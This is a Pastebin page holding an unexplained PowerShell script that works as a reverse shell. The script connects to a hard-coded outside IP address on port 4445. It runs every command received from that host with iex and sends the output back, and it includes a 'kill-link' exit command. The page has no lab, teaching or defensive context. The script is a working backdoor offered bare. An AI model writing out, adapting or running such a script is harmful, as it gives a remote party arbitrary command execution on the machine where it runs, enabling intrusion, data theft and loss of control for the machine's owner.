Advertisement
Guest User

Untitled

a guest
Apr 23rd, 2018
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.56 KB | None | 0 0
  1. $ErrorActionPreference = 'Continue';
  2. try
  3. {
  4. #attempt inital connection
  5. $client = New-Object System.Net.Sockets.TCPClient("200.74.240.58",4445);
  6. $stream = $client.GetStream();
  7. [byte[]]$bytes = 0..255|%{0};
  8. $sendbytes = ([text.encoding]::ASCII).GetBytes("Client Connected..."+"`n`n" + "PS " + (pwd).Path + "> ");
  9. $stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush();
  10. while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
  11. {
  12. $recdata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  13. if($recdata.StartsWith("kill-link")){ cls; $client.Close(); exit;}
  14. try
  15. {
  16. #attempt to execute the received command
  17. $sendback = (iex $recdata 2>&1 | Out-String );
  18. $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
  19. }
  20. catch
  21. {
  22. $error[0].ToString() + $error[0].InvocationInfo.PositionMessage;
  23. $sendback2 = "ERROR: " + $error[0].ToString() + "`n`n" + "PS " + (pwd).Path + "> ";
  24. cls;
  25. }
  26. $returnbytes = ([text.encoding]::ASCII).GetBytes($sendback2);
  27. $stream.Write($returnbytes,0,$returnbytes.Length);$stream.Flush();
  28. }
  29. }
  30. catch
  31. {
  32. #an initial connection error - close and wait 30 secs then retry
  33. if($client.Connected)
  34. {
  35. $client.Close();
  36. }
  37. cls;
  38. Start-Sleep -s 30;
  39. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement